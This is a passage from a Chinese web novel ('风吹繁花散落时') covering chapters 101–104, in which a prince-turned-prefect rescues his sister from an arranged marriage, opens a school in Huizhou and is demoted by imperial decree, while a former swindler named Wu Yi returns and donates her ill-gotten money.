掌柜接过银票,“大人吩咐自当照办,敢问那位客人姓甚名谁,也好不要给错了。” “吴怡,她叫吴怡,是个女的。” 就这样,周启与娉婷两人躲进货箱,跟着钱记商队浩浩荡荡出城。 “哥?”路途颠簸,娉婷终于醒了。 “娉婷,你感觉怎么样?” “哥,为什么我每次出京都是偷偷摸摸的,看来我周娉婷命该如此。” “别胡说,到了徽州,我再给父皇上书,我觉不会让你嫁到西凉。” “哥,我们就是天生被人安排,你觉得你是嫡子他就能听你的吗?”娉婷冷笑两声,“哥,他只会觉得你忤逆了他,到时候你也好不了了。” “就算是死,我也不能看着你嫁到西凉。” 娉婷听了这话心头一酸,滚烫的泪水再次划出,她强忍着没有说话。 小小的货箱里,两兄妹前途未卜。 (本章完) 第一百零一章 回到徽州 - 风吹繁花散落时 - 红酒羊排 钱记商队一路向南往徽州而去,许丞相在府中捶胸顿足,“儿戏!简直是儿戏!糊涂啊糊涂!” “大人。” “皇上可知道了呀?” “顺天府认识五皇子,必会上报。” “三皇子可知道了呀?” “现在还不清楚。” “唉,怪我呀怪我,我要是不告诉他就好了,我想着他也长大了,为了自己也不该这样鲁莽。” “大人,五皇子重情重义又生性善良,断不会坐视不理。” “不行,赶紧进宫,赶紧进宫!” 许丞相匆忙进宫,皇帝已经知道了周启劫走娉婷的事情,这还是第一次有人如此忤逆于他。皇帝一言不发,许丞相知道这就是皇帝最为愤怒之时,他大气都不敢出,终于等到皇帝说了一句,“是朕将他宠坏了。” 许丞相赶紧跪地,“皇上。” “你来拟旨,降徽州知府周开为徽县县令,罪名你自己想。” “皇上。” “滚!” 许丞相不敢多言,这还是五十几年来皇帝第一次叫他滚,他赶紧起身出去站在门口抽了自己一个嘴巴,“多言坏事,多言坏事!”不管这边任许丞相如何自责,那边周启已经带着娉婷逃离了京城,数日后,两人终于回到徽州。再看花团锦绣的徽州,娉婷又有了昨世之感,毕竟京城已经入秋,而徽州还在热烈的夏日。 “你怎么样?”李博终于盼回了周启,又见娉婷消瘦许多,“公主,你们没事吧?” “先让娉婷去房间休息。”大家目送娉婷回房,周启又问道:“刘四今怎样?” “刘四今?哦,二愣子是吧?什么都不肯说。” “笨死你算了。” “我说我的周大人,我这天天替你装病,你那个女人,就是那个张灵,天天让我给你熬药,熏死我了。” “哈哈哈,看来你们相处得挺好的呀。” “哎。”李博突然觉得心累,特别小声地说道:“五皇子,你千万离她远点,她厉害着呢。” “去,一边去。”周启知道自己马上就要被责罚,不管是回京还是怎么样,在徽州的事情都得赶紧了了才行。“学堂办得怎么样了?” “哦,回禀周大人,学堂已经全面建成,学政已经将入学名单呈上了,就在你书房呢,我看了,有一半是出资人的孩子,还有一半是寒门学子。” “居然有一半是出资人的孩子?他们不在家里上私塾,跑这干嘛来了?” “这是你周大人办的学堂,你可是今科状元,又是知府老爷,关键还长得一表堂堂的,这不人家都想沾沾喜气嘛。” “那可得抓紧时间了,要不过两天皇上圣旨一来,大家可就都躲着了。” 李博听这话,吓得眼睛都瞪大了,一把拉 住周启的小臂,“什么意思?” 周启看了一眼李博,“没事就回京城去,免得受连累。” “我是这样的人吗?再说了,我可是你的伴读,就算我逃到天边,我也是你五皇子的人啊。”李博又调皮道:“还有啊,这徽州人都知道,我钦差李博被你周开知府迷住了,同枕共眠,徽州人有目共睹。” 周启一脚踹在李博小腿上,“滚蛋!” “哎,成嘞。”李博得令就抬腿要走。“回来!”李博赶紧又转回来,“你去找张灵,告诉她,明天开学典礼。” “成,我这就去找她,所有人明天一早,一定会见证你开办了启德学堂。” “启德?” “是啊,那女人起的。” 周启斜眼看着李博,“启德,你是嫌我在我父皇面前还不够讨厌是吧?” “这你跟我说不着,人家是出资人,她还说服了所有出资人,他们都同意,就叫这个名字。”李博又感觉有点心累,“我说我的五皇子啊,咱以后能别招惹这个女人吗?她真的挺厉害,反正我是斗不过她。” “李博,告诉你一个秘密。” “什么秘密?” “我爹给我选了一门好差事。” “什么差事?是不是要回京了?” “当人家女婿。” “啊?什么意思?” “你说我爹也是,天天坐在龙椅上,竟想着给自己找儿女亲家,这倒好,我和娉婷算是被他豁出去了。” “慎言!” “过两月就回去了,过一天是一天吧,成了,你忙去吧,我歇会。” 周启刚要回房休息一会,吴怡蹬蹬蹬冲了进来,“周大人!”吴怡上来就抓周启,周启左右躲闪两下,李博可不管吴怡为什么这么激动,上来就将吴怡拿下。“你放开我!” “我警告你别胡闹啊。” “谁胡闹了?你们周大人遇到危险自己就跑了,还把我推给官府,哼,还大人呢,吓死我了!” 李博看着周启,周启慢悠悠说道:“那你不也回来了吗?”吴怡一愣,周启继续说道:“若不是本官给你留了十两银子,你能回来吗?”周启走近吴怡又说道:“不客气。”说完自己回房休息,李博撒开了吴怡,吴怡被气得没脾气,对着李博问道:“李大人,你为什么喜欢这样的人啊?他哪好了?” 李博最近受女人气受多了,实在不想再与吴怡分辨了,“知府衙门,禁止喧哗。”说着将吴怡赶了出去。吴怡被轰出来,往钱家而去要去退钱。 “吴怡!”钱宁听了下人通报急急跑出来,“吴怡,我爹娘说你拿了他们的银子自己离开了,我一直不能相信,你果然又回来了。” “钱宁,我……” “你什么也不要说,我知道是我爹娘利 诱你的是不是?你别怪他们,他们当商人久了,以为全天下都可用钱衡量。” “钱宁……” “吴怡,你回来就好,我一定娶你为妻,照顾你一生再也不让你受颠沛流离之苦。” “钱宁,我不能嫁给你。” 钱宁一听这话顿时愣住了,他双手把着吴怡的肩膀,怎么也不能相信,“吴怡,是不是我爹娘威胁你?” 吴怡觉得羞愧不已,“钱宁,是我不好,我之前太糊涂了,我,我不应该拿你爹娘的银子,我今天就是来还钱的。” “吴怡,我不要钱,你要是想要你就拿着,我还可以给你更多。” “钱宁,若是以前你说会给我钱,我会很高兴的,但是现在……钱宁,你忘了你教我读书就是希望我能明辨是非吗?我不想再骗别人了,我也不想骗我自己了,对不起,钱宁,我不能嫁给你。” 钱宁睁大了双眼,缓缓松开了吴怡。 “钱宁,都是我不好,这是老爷给我的银子,还给你。” 钱宁根本不听吴怡说什么,他不能相信,“吴怡,你之前明明答应要嫁给我的,你为什么突然反悔了呢?” “钱宁,对不起,之前我漂泊惯了,我想安定下来,我那天看着你的眼睛,我以为我有了后半辈子的依靠,我一时糊涂我就……钱宁对不起,对不起!” 钱宁正想说点什么,钱万全走了过来,“吴怡?” “老爷,这是你给我的银子,还给你。”吴怡见钱宁一百个不愿意收钱,只好还给钱万全。 “你什么意思?” “钱老爷,之前是我鬼迷心窍,可是我不想骗钱了,我也想做个堂堂正正的普通人,过普通人的日子,况且我答应周大人了,以后再也不骗人了。所以这钱,还给你们。” “吴怡,做生意讲究的就是契约精神,你拿了钱就应该讲信用。我们说好的,你离开钱宁,我们给你一万两银子,我们两清了,如今你要反悔,你是想……” “老爷别误会,我,我开始就不是来骗钱的,况且我现在想明白了,我和钱宁只是普通朋友,我不会嫁给他的。” “既然如此最好,钱还给你,你走吧,再也不要踏进我钱家的大门。”说着,钱万全来拉儿子,钱宁还处在极度震惊之中,“为什么?为什么?”钱宁对吴怡喊道。 吴怡拿着银票,觉得自己太坏了,“钱宁,对不起,都是我错了,我对不起你。”吴怡赶紧给钱宁鞠躬道歉,连连说着:“对不起。”钱万全已经将钱宁拉远了,吴怡还傻傻站在原地,钱家的小厮来轰吴怡,吴怡也只是机械地要离开。 “吴怡。” “小姐。” 钱朵一早得到消息吴怡来了,她现在不仅痛恨吴怡,更因为周启与吴 怡成亲而拒绝了自己,觉得自己受到了极大的侮辱,钱朵脸上带笑走了过来,“吴怡,你怎么了?” “小姐,是我对不起钱宁少爷,请你帮我跟他说一声,他是好人,一定会找到一个更好的夫人。” “吴怡,你不用自责,我哥哥当然可以找到一个更好地嫂嫂,就是他之前瞎了眼才会遇到你,以后肯定不会了。” 吴怡抬头看着钱朵,她明白钱朵必是为哥哥鸣不平,“是,我以后一定躲钱宁远远的,再也不烦他了。” “你也应该躲周大人远远的,要不然。”钱朵顿了一下,一字一字地说道:“你一定会后悔的。”说完,钱朵吩咐下人将吴怡轰出了钱家,吴怡被小厮推在地上,她拍拍身上的土,盘腿坐在地上发愁,没想到自己竟有一天能对着一万两银子发愁的。 (本章完) 第一百零二章 学堂开学(上) - 风吹繁花散落时 - 红酒羊排 回纥与西凉皆以入冬,京城也进入秋天,而徽州还是一派绿意盎然。这天徽州城喜气洋洋,全城的富商巨贾,士绅豪门皆聚于钱家别院。这里已经被改为学堂,学政褚哲早早来到学堂指挥,大红的绸布妆点着学堂门,鲜红的地毯一路铺了进去,周围花团锦簇,来看热闹的百姓将河边的主路围了个水泄不通。 周启昨夜便将李博无法处理的事情一并处理妥当,今早又一早起身处理了常规工作。张灵自然早早来到知府衙门,她昨天已经十分识趣地没来叨扰。 “张小姐直接去学堂就好。”李博侧身出来拦住张灵去路。 “李大人,我们这些出资人有件事想拜托周大人,若是在揭幕仪式上说,实在不太好。” “什么事?” “大家托我来当说客,怎么李大人也想当这说客?” “本官作为学堂筹备人之人,有权利知道你们拜托周大人何事。” “李大人。”张灵和李博相处这些日子,发现他对自己的事大多不上心,对周启的事绝对尽心维护,只是他有时候呆头呆脑的,张灵将一只手搭在李博胸膛,“李大人忠心可嘉,不如我们一起进去说与周大人听,李大人放心,绝不是什么为难之事。”说着张灵已经从李博身边转了过去,李博刚才觉得身体僵持,这女人总是动手动脚。“哎,你给我站住。”可是不管李博怎么阻拦,张灵已经进了书房。 “周大人。” 周启正要出发,“一起去吧。” “等一下。”张灵回头看了一眼跟进来的李博,“李大人别着急,我们等你呢。” “怎么了?”周启见李博双手叉腰一副不耐烦的样子。 “周大人,大家想请您为学堂题字,以后当学堂的名字。” “名字?你们不都选好了?” “若是这启德二字是由周大人题写,自然更加令人信服,学堂也必会蒸蒸日上,为徽州培养出更多的人才。”说着张灵走进周启,竟然帮周启整理了一下衣服。“你觉得如何?” 李博刚要叫张灵别老动手动脚的,周启开口道:“今日之荣耀若是很快不复存在,该当如何?” “大人?”两人站的很近,周启甚至能看清张灵眼中一闪而过的惊恐,“不管大人荣耀还是屈辱,张灵定会护学堂周全,启德永远都在。” “那便好。”周启抬步离开,不管皇帝做何处罚,今天都将为徽州寒门学子谋一安身之所。 “娉婷,走了。”周启站在院中招呼娉婷 娉婷却懒洋洋坐在廊下,“你们去吧,我不想去。” 周启走过来,摸了摸娉婷的头,“在徽州一日便好好过一日。” “哥,我说这事不会有好结果,你偏不信,过两天你就知 道了。” “有没有好结果也要做过才知道,好了别多想了,今天你哥哥要出出风头,你不是最喜欢凑热闹吗,带你去玩玩。” 娉婷轻轻拨开周启的手,“哥,我不想惹人厌烦,你们自己去吧。” “谁会厌烦你,走吧,去散散心也好。” “我真的不想去。”娉婷眉毛不自觉皱了一下。 张灵见两人僵持住了,赶紧来打圆场,“大人,时辰差不多了,还是快些去吧。看着娉婷姐姐定是路上劳累了,不如还是好好休息吧。” 周启知道张灵这是在给自己搭台阶,赶紧说道:“那好吧,你好好休息。”三人终于从知府衙门出发。 这边娉婷坐在廊下觉得前途仍旧渺茫,正想回屋,一句虚弱的“娉婷”令娉婷烦躁到了极点,“我都说我不去!”娉婷一扭脸,见陈明阳瘦了一大圈,晃晃悠悠站在院中,眼神复杂的看着自己。娉婷愣了一秒,赶紧翻过栏杆紧走两步扶住陈明阳,“你怎么样?” 陈明阳顾不得其他,一把抱住了娉婷,“我还以为,我还以为我们再也无法相见。” 娉婷被抱住,觉得心中一股暖流,再次泪如雨下,“你不该来,不该来。” “我若不来,你会如何?我已经来了,你又会如何?” 娉婷没有答话,她也不知道如何作答,只是抱住了陈明阳,想时间永远停留在这一刻。 “娉婷,你问我的话我可以回答你,走,我选走,你给我走吧!” 娉婷瞬间清醒过来,轻轻推开陈明阳,“有你这句话,就够了。陈明阳,你我互不相欠了,你走吧。”说完娉婷转过身不再看陈明阳。 陈明阳站在原地气喘吁吁,他在医馆醒来,以为自己错过了阻止娉婷,懊悔不已。顺天府尹失了六公主踪迹,想起陈明阳,急急来医馆寻人,吕掌柜吓得半死,“若是少东家再入大牢,能否活下来都两说,所以我看少东家,你还是赶紧跑吧。” “天下之大莫非王土,我能跑去哪里?再说了,我跑了,陈记怎么办?”陈明阳勉强支撑身体请吕掌柜告诉顺天府尹,“娉婷去向确实不知,若有线索劳烦大人告知一声,我也想问问她,为何三番两次逃跑,是否心中还有牵挂。” 顺天府可没有耐心,这差事可是皇帝亲自派下的,若是真弄丢了公主,谁也兜不住。正要将陈明阳再次拿下,宫里来人急招顺天府,还警告陈记和医馆不要乱说话。伙计们不明所以皆不敢言,唯有陈明阳着急回徽州,他不知道娉婷去了哪里,但是周大人也许会知,现在他必需回徽州寻求帮助。陈明阳乘车一路回来,一进知府衙门却见娉婷坐在廊下。 “娉婷。” “你走吧!”娉婷哭着喊到,“我 不想连累别人,这就是我的命,我认了!” “若说连累,是我陈明阳连累了你,你若不想……” “我若不想,你能怎么?”娉婷生气地转过身,“陈明阳,你应该知道我是谁了吧?我的事,你根本管不了。”娉婷终于看着陈明阳的眼睛,“就算我哥哥把我抢回来又能怎样?你以为我哥哥为什么这么着急开学,他就是想在责罚下来之前干完他想干的事。你呢?你觉得亏欠我了是不是?这个时候你想往上冲了?我哥哥是嫡子尚且要受罚,何况是你,你就是一个商人,你还只是一个少东家,就算陈家都是你说了算又能怎样?你以为你是谁呀?在皇帝眼里,你什么也不是!” 陈明阳被娉婷一说,一时不知说什么好,在巨大的皇权面前,他的却什么都不是。 娉婷红着眼,强忍着轻声说道:“你走吧,我的事无你无关,这样想着,大家都会好过很多。” 陈明阳慢慢转身离去,娉婷看着他瘦削的背影,心里难受到了极点。 这边陈千朗还不知道儿子回来,急急找周大人询问,“周大人,周大人,我的伙计说周小姐已经回京了,那,那是不是可以在顺天府销案了?” “陈明阳没有回来吗?他应该已经回家了啊。” “啊,真的?哎呀,多谢周大人多谢周大人。”陈千朗一听儿子回家了,已经没有闲心凑什么热闹,赶紧往家里奔,打算亲自去京城将陈明阳接回来,可是还没到家,见陈明阳失魂落魄走在街上。 “明阳,哎呀,明阳呀。”陈千朗一把拉住陈明阳,“瞧瞧怎么瘦成这样,不过回来就好回来就好,走,咱们回家,回家啊。” “爹。” “怎么了?” “我对不起娉婷,是我对不起娉婷。” “你还说她,要是没她,您能进大牢吗?” “爹。”陈明阳站在路上,想了半天,“爹,是她救了我,牺牲了她自己,她再也不会笑了。” “傻孩子,这人啊难免遇到坎坷,这个坎迈过去了就好。你呀,别多想了,这是人家的事,你呀管不了。” “爹,可是要不是我,她就不会回京,她说她不想嫁人,想让我带她走。” “什么?”陈千朗听了这话,心里咯噔一下,“陈明阳,咱们陈记在京城与顺天府的关系也算好吧?可是周小姐一失踪他们就能抓了你,还对你用刑,一点情面也不给。她一回来,你就被放了,一个解释也没有。这说明这周家的却非比寻常,他们姓了国姓了。我这些天想了,也许他们是皇室也说不准,皇室的人就算是远亲,也不是咱们这种商人可以招惹的。你听爹一句,忘了周小姐吧,反正她天天任性胡闹,你也不喜欢她。” “爹, 我喜欢她了,那又怎么办呢?” “你说什么?” “爹,你让我去京城躲她,可是没了她在身边烦我,我却每天都想她,我有时候想起她蠢笨蠢笨的,但是她笑起来真的挺好看的。爹……” “你闭嘴!明阳啊,就算爹求你了,你别再想她了,为了我们陈家,为了你爷爷。你不在这些日子,你爷爷天天念叨你,若是你执意要和周小姐纠缠不清而出了什么事,我怎么向你爷爷交待,你让我们怎么活?” 陈明阳一听这话,瞬间冷静下来,他看着陈千朗着急的脸,扑通跪了下来,“爹。”陈明阳哭喊着,“爹……” (本章完) 第一百零三章 学堂开学(下) - 风吹繁花散落时 - 红酒羊排 吉时已到,周启带领大家站成一排,李博作为此事的主要负责人自然首先讲话。 “诸位,本官不才,代表朝廷说两句,今天大家欢聚于此是要见证徽州学堂的建立。我们大周以礼仪治天下,当今圣上曾说:子民不学,百业不兴。足见朝廷对于学习的重视。咱们徽州虽是商城,但是徽商向来尊师重教。今年,朝廷开科举,今科状元更是受圣上亲自委派来徽州任知府一职,更可见朝廷对徽州子民学习之重视。周开知府任职以来,关注徽州教育,以今科状元的身份激励学子学习,又以知府之尊,亲自考察徽州学堂、学子情况,当他得知寒门学习大多无学可上的情况后,他万般心痛,与本官商量建立学堂以资助那些出身贫寒却天资聪颖之人完成学业。孔子曰:有教无类。在周大人的感召下,钱记老板钱万全捐出自家别院,又得徽商慷慨解囊,学堂竟在月内建成。这不得不说是徽商同心协力的结果,也体现了我们徽商对教育事业的无私奉献,更是周开知府治下有方的结果。让我们以热泪的掌声,感谢周知府,感谢我们徽商,感谢那些为学堂的建立付出辛勤劳动的人。”李博见大家鼓掌完毕,继续说道:“下面我们有请学堂的主要出资人上台讲话。李博刚一转身,张灵正要上台,吴怡突然冲了出来。 原来吴怡昨天没能把一万两银子还给钱家,又无处可去,想去知府衙门借住一晚,明天打算回山东老家。可是吴怡还没进门,李博走了出来,“呦,这不是吴怡吗?” “嘿嘿,李大人,周大人还在呢吗?” “这是他的衙门,他当然在了。” “那就好那就好。”吴怡见李博要走,赶紧拦住,“哎哎哎,李大人,你着急去哪啊?” “你想干嘛?” “李大人,我,我就是想问问能不能容我住一夜,明天我就走。” “你去钱家住啊。哦,对了,是不是你为了钱抛弃了人家钱宁,现在人家阖家上下都不想看见你。吴怡,我知道你脸皮厚,可是你一个女孩子,不如我直说了吧,周大人顶不喜欢你这种见利忘义之人,他是不会让你住在这的。” “李大人,我知道,我之前拿了人家一万两银子是我不对,我已经知道错了,我想还给他们,可是他们不要。” “那是你自己的事情,不用说与我知道。” “李大人,这在京城可是我帮着周大人叫住了大小姐,也是我拦住了官兵,要不现在周大人肯定被抓住了。” 李博一听这话就来气,原来是吴怡叫住了娉婷,害周启犯了这么大错,“原来是你啊。” “是啊,我可是……” “吴怡,你骗了人家一万两银子还不够,你还想骗周大人吗? ” “我没有啊,我想还给人家,可是他们不要。” “哼,你这种人我见多了,想一步登天你还嫩了点。”李博回身吩咐道:“关门,今天谁也不能进去!”说完,李博狠狠瞪了一眼吴怡,门咣当一声关上了,吴怡吓了一跳,她看着李博的背影,觉得这一切都是因为自己拿了人家一万两银子,吴怡十分后悔,可是她想还人家也没成功。 第二天一早,吴怡再次来到钱家打算换人家钱,可是钱家的小厮得了命令,看见吴怡就驱赶她。“走走走,今天还有大事要办呢,谁有时间见你,赶紧走,别让我们为难。” “什么大事啊?” “管你什么事?捐钱知道吗?怎么你也要捐啊?哦,对了,你现在有钱了,哈哈哈哈。”小厮们一起哄笑起来,吴怡觉得心里很复杂,要是以前她肯定不会受这样的侮辱,可是现在她觉得的确是自己做错了。吴怡想:既然还你们钱你们不要,我就以你们的名义将钱捐了吧。”这样想着,吴怡也来到了学堂,她躲在人群中,听李博说了一大车话,正看下边是谁上台,突然后边被人推了一把,整个人蹬蹬蹬窜了出去。 吴怡把着桌子才没有摔倒,所有人面面相觑,不知从哪里跑出来的丫头。吴怡终于站定了,见所有人都看着自己,尤其钱万全也一脸不可置信。吴怡站在台上,心一横,“大家好,今天周大人要办学堂,我看学生们都还这么小,肯定需要很多银子,所以呢,我就来捐点。”说着,吴怡从怀中逃出一万两银子的银票,“这就给大家拿去,给学生们买东西用吧。” 李博可不想出乱子,赶紧上台,小声说道:“你来干嘛?” 吴怡挺直腰板说道:“我来捐银子。” “这位。”突然台下一人说道:“敢问这位小姐尊姓大名,家住何处,也好让学习生可以心存感念。”大家望去,见说话的竟是钱朵,原来她想来看看周启,见吴怡站在人群中左右张望心生怒火,一把将吴怡推上去想让她颜面尽失。 “不用了,银子给你们,我走了。” “哎。”钱朵挡住了吴怡,“多谢这位小姐为徽州学习慷概解囊。”钱朵一把将银票拿了过去,“呦,都是钱记的银票呢,这我可知道,不仅大周全境可以退换,就算是西凉也可以通兑。” “钱小姐想说什么。” 钱朵微微一笑,“徽州学子都会感谢小姐,若是小姐觉得介绍自己给大家,有点强人所难,不如小姐为学堂提个字,也好挂在学堂,供学生们瞻仰。” 周启在后边听了,眉毛皱了一下,张灵却很快捕捉到了,一步走了过来,“朵朵,这恐怕有点强人所难,不如……” “怎么?这学堂是周大人 提议建的,我知道你也出力不少,怎么,这里要听你的了吗?” 张灵没想到钱朵这么说,一时尴尬,但是张灵久经商场,不是一句话就能噎住的,“瞧你说的,只是大家已经脱了周大人为学堂题字,她一个百姓若也写几个字,实在不妥。” “是吗?周大人身为知府又是金科状元,题词自然是好的,可是这位小姐也是捐赠人啊,若是既不介绍自己又不题词就走了,弄得好像我们徽商不懂事似的。”钱朵说这句话已经十分重了,所有人都觉得有点过了,张灵正要在劝解两句,吴怡站了出来。“不就是写个字嘛,我写。”吴怡心想:写个字有什么了不起,又不是不会。这么想着,吴怡走到为周启准备的书案后边,吴怡看了一眼大家,非常自信地拿起笔写下了“人之初” “让我们来看看。”钱朵站在吴怡身边,所有人都围了过来,周启见吴怡写的字还算过得去,只是没有女孩子的清秀,倒有一点洒脱的意思。吴怡将笔放好,心想:幸亏我练了这三个字好几个月,这可是我写的最好的字,真没想到还能派上用场。吴怡低头欣赏自己的字,抬头见钱宁正目光如水地看着自己,吴怡脸上的笑意消失了,她觉得自己太对不起钱宁了,因为这还是钱宁教她的。周启伸手将“人之初”拿了过去,“本官看着还不错嘛。” 张灵和钱朵都一愣,钱朵对周启简直无语了,不知道他到底什么眼光。张灵倒是机灵,“这‘人之初’果然好字,愿我们学堂的孩子们都能懂得人之初的道理。” “‘人之初’,本官觉得这三个字倒是适合当学堂的名字,大家觉得如何。” 周启一说话,大家自然纷纷同意,张灵想阻止已经来不及了,李博知道周启是不想因为自己的过失造成学校的损失,所以启德二字绝不可用。“周大人所言甚是,不如我马上请人将学堂名字匾额做好,咱们也好一起挂上。” 吴怡余光看钱宁一直看自己,更觉不好意思,不管别人商量什么自行离去。李博再次组织大家站好以进行下一项,但是张海已经迫不及待离开追上了吴怡。“张小姐,张小姐。” “听着,我不是张灵,你认错人了。” “怎么会呢?张小姐是遇到什么烦心事了吗?”张海之前见张灵总是匆匆忙忙,觉得必然是有什么大生意。听说这学堂张灵出了一半资,今天见张灵一出手就是一万两,更觉得她就是一个大财主。 “我没事,我要……”吴怡指了指路,钱宁却在后边走了过来,钱宁看了一眼张海,张海对吴怡说道:“张小姐,若是有什么需要帮助的,请尽管开口。” “我没事,我们,我们有话要说。” 张海看了一 眼钱宁,对吴怡点点头,觉得典礼已经没什么热闹好凑了,便自行离开。 “张小姐?” “我不知道他为什么会误会,他一直叫我张小姐。” “没关系。”钱宁有气无力地说道:“吴怡,之前我爹娘……” “钱宁,是我对不起你,我当时一时糊涂,我,我也不知道我是怎么了,我突然就答应了,我真的错了,对不起。” “不不不,吴怡,我没有怪你,我是说,我爹娘让你离开徽州的事,我和他们说了,你想在哪都行,你可以去哪任何你想去的地方。吴怡,对不起。” “什么?” “钱朵今天不知道怎么了,我代她向你道歉。” 吴怡心里更加难过了,“钱宁别这样,你对我太好了,我都不知道为什么我这么混蛋。” 钱宁轻轻笑了两声,“吴怡,好歹我知道你到底怎么想的,也没有铸成大错,这也算是一件好事。”钱宁笑意盈盈看着吴怡,“我要,我要回去了。“钱宁转身回到典礼,站在路口,钱宁再一次转身看着吴怡,她越走越远了,钱宁觉得心里空落落的,似乎这一切都结束了。 (本章完) 第一百零四章 若别离无法避免 - 风吹繁花散落时 - 红酒羊排 邓敬之亲自做赋后,开学典礼终于结束。若是张海还在现场就会发现自己认识的张灵和真的张灵相差甚远,假张灵与钱宁和平分手,真张灵却是心满意足,这一天,她都一直站在周启身边,代表商贾发言之时还狠狠吹嘘了一把知府大人的丰功伟绩。 “周大人,不如我们一起回知府衙门,商量一下以后怎么使学堂自己运营起来,毕竟但商贾捐赠也只能维持一时。” “那个,今天还是算了吧,我有点别的事。不如你和学政先商量一下吧。” “周大人……” “张灵,我真的有事,我得先回去了。李博,走了。” “哎。” “张小姐。”李博一下子拦住张灵,“请留步。” “是不是出了什么事?” “若是有事,明天你自然知道。” “哎。”不等张灵再说什么,侍卫们已经跟上两位大人,将所有人都留在了身后。 两人回到知府衙门,见吴怡与李婶的儿子正在玩耍,李博一个箭步冲过去,“你怎么进来的?” “李大人。周大人,我来还你钱。” “还什么钱?”周启疑惑地看着吴怡。 “咱们第一次见面,我是骗你的。”周启想起两人第一次见面,当时吴怡假装自己被黑瘦男人强买,还哭诉李老四病入膏肓需要银子治病,当时以为只是路见不平拔刀相助,没想到后来两人竟然有了这么多交集。后来吴怡被刺客打伤,一股脑将自己骗钱的经历都说给了周启,周启当时觉得可笑,后来也没打算追究,更没想到吴怡突然良心发现要来还钱。 “周大人,可是我的钱都给我爹了,我身上已经没钱了,所以我打个欠条给你,我日后一定还给你。” “切。”李博不屑道:“没钱就没钱,我们不要了,你走吧。” “那怎么能成呢。周大人,我答应你以后不骗钱了,那些我找不到人的也就算了,既然我知道骗你了,我就应该还你。” 周启走了过来,“你拿什么还呢。” “我可以打工呀。” 李博打算将吴怡轰出去,现在可没时间与她胡闹,周启却说道:“我这里缺名杂役。”李博不可置信地看着周启,“大人。” 吴怡却先拒绝了,“可是我得回山东,我爹还在山东呢。” “你爹过得比你好多了。我的两个侍卫和他在一起,他拿着你给的银子在你们老家租了一个院子,住在里边好不快活,到处跟人家说你发达了。” “啊?这个李老四!” “对了吴怡,我招杂役二两银子一个月,你干不干?” “干!” “恩,那就干活去吧。”周启见吴怡去拿扫帚打扫,又说道:“对了,我的侍卫每个月二两银子,他们去照顾 你爹了,所以这钱从你身上扣。” “啊?哎哎哎,周大人。”吴怡赶紧跑过来,“那我岂不是每个月还倒赔你二两银子?那我不干了。” “不干?你满徽州打听打听,这价格只有我知府衙门和钱记、陈记给的起,你不在这,是想去钱记还是陈记?哦,对了,他们两家你都去不了,所以……” “成成成,我干,我干还不成吗?那个,周大人,咱再商量商量呗?我体力好,什么都能干,这全衙门的活我都包了,您多少给长点钱。” “成啊。连锁,告诉大家,所有人都歇了,让吴怡一个人干。” “是。” 吴怡见所有人都乐呵呵看着自己,“那,那涨钱不?” “先干了再说吧。”周启正在逗吴怡,传旨的何启年已经站在门口。 “大人。”李博率先看见了人,赶紧提醒周启。周启转身也瞧见了,赶紧收敛了笑容,“来人,备香案。” 此时娉婷突然从屋里冲出来,“你把我带回去吧,不要责罚哥哥。” “娉婷!”周启一下子火了,“你给我回去!” “哥!” “吴怡,把她拉回去,她要是出来,你就再也别想要工钱。” 吴怡得令,赶紧将娉婷拉回屋。侍卫门将香案摆好,周启沐浴更衣携一众人等跪地接旨。 “奉天承运皇帝敕日:徽州知府周开,上任数月,不思进取,荒废礼仪,独断专权,履有失察,致徽商官场不睦,城外歹人入内,上下无法齐心,圣心不能光明,百姓不得安居,此等作为,深失朕望,着降为歙县县令,望尔诚心悔过,明朕之苦心,思之,念之。旨到之时即刻赴任,钦此。” “臣周开,领旨谢恩。”周启一个头磕在地上,双手捧着圣旨缓缓站起。娉婷在屋里自责到了极点,吴怡扒着门缝望去,小声说道:“大小姐,周大人变县太爷了,那……”吴怡一回身,见娉婷哭得梨花带雨,赶紧安慰,“大小姐你别担心,你看县太爷哪有一个比咱周大人好看的,以后大人肯定还能升官的,他是好官,百姓们都喜欢他呢。” 娉婷听了丝毫不觉宽心,只听周启在院里吩咐一声:“所有人收拾东西,一个时辰后到徽县上任。” “大人。”李博十分担心周启,这是他从小打到收到的最严厉的诏书。 “我没事,不用担心。” “李大人,皇上有口谕给你。”李博赶紧跪地听喻。“皇上问,知道错了吗?” 李博赶紧答到:“回皇上,臣知错。” “皇上说了,李博,认错极快却不悔改。” “回皇上,臣改臣改。臣一定会拦着周大人,更会助周大人治理一方,上对得起祖宗宗祠下对得起一方百姓。” “皇上 说了,若李博无法尽忠,尽早回京当你的闲散人,朕自会派他人填补空缺。钦此。” 李博吓得半死,赶紧叩头道:“皇上明察,臣定会竭尽全力,不负圣恩。” “本官自回转答大人之意。”说完,何启年对着周启一抱拳,“两位大人,臣要回京复旨。两位大人,好自为之。”说完何启年便离开,李博跪在地上刚松一口气,周启使劲摁了一下他的头。李博回头赶紧解释,“皇上问我话。” 周启白了一眼,“没出息那样。” 李博也不恼,乐呵呵站起来,“周大人,这旨意虽然严厉,可是幸亏没有直接将你抓进京城,只要还是在徽州,就还有回旋的余地。这两个月赶紧干点漂亮事,挽回圣心才是关键。” 周启不想再说什么,等着大家收拾好东西,当天晚上就搬去了徽县县衙门。此消息如春雷一般,迅速传遍了整个徽州,所有人都丈二和尚摸不著头脑,只有陈明阳知道内情。 “明阳,你说这和周小姐失踪的事情有关系吗?” 陈明阳呆坐而已,一言不发。 “如此看来,我猜的不错,这周知府果然不是一般人。”陈千朗一屁股坐在陈明阳身边,“明阳啊,你这次必需听我的,离那个周娉婷远点。明阳,明阳。就算爹求你了,你爷爷还能活多久?可不敢让他遭遇什么变故呀。” 陈明阳目光呆滞看着陈千朗,好不容易开口道:“我知道了。” 陈明阳万般无奈,他想着若是叫爷爷吃老饭比让自己死还难过,他又想起顺天府大牢里的各种刑拘,还有潮湿的空气,甚至空气中弥漫的屎尿味。陈明阳第一次有了巨大的无力感,他不能告诉陈千朗娉婷的身份,但是巨大的皇权压力像无边的黑暗一样压得陈明阳喘不过气。他从陈家出来,顺着河流出城,夜慢慢降临,郊外的行人稀稀落落匆忙赶路,连天上的鸟也已经归巢。陈明阳漫无目的地走着,前边有一条河流,水声淙淙,月光之下泛着粼粼白光。 陈明阳见河边矗立一人,身上披着披风,头上插着朱钗。“娉婷?” 娉婷收回思绪,转身望去竟真的是陈明阳,娉婷笑了一身,“以前总不见你,现在倒是老能看见。” “我也不知道怎么回事,不过随意走走。”娉婷不再言语,转过身继续看水,陈明阳站在娉婷身边,“城门快关了,不回去吗?” “回去也无事。” 